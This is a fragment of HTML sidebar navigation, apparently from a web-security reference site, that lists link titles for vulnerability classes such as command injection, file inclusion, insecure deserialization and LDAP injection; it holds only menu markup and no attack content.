<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Client Side Path Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_12">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Client Side Path Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Client Side Path Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_13">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Command%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_14">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cross Site Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross-Site Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_15">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DNS Rebinding
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../DNS%20Rebinding/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DOM Clobbering
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_16">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DOM Clobbering
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../DOM%20Clobbering/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DOM Clobbering
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Denial of Service
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_17">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Denial of Service
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Denial%20of%20Service/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Denial of Service
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_18">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dependency Confusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Dependency%20Confusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_19">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Directory Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Directory%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_20">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
File Inclusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../File%20Inclusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LFI to RCE
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Inclusion Using Wrappers
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_21">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Google Web Toolkit
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_22">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
GraphQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../GraphQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_23">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
HTTP Parameter Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Headless Browser
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_24">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Headless Browser
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Headless%20Browser/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Headless Browser
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hidden Parameters
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_25">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Hidden Parameters
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Hidden%20Parameters/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Hidden Parameters
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_26">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Deserialization
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.NET Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Node Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PHP Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Python Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ruby Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_27">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Direct Object References
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_28">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Management Interface
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_29">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Randomness
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Randomness/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_30">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Source Code Management
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bazaar
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Git
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mercurial
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subversion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JSON Web Token
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_31">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
JSON Web Token
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../JSON%20Web%20Token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JWT - JSON Web Token
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_32">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Java RMI
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Java%20RMI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_33">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LDAP Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
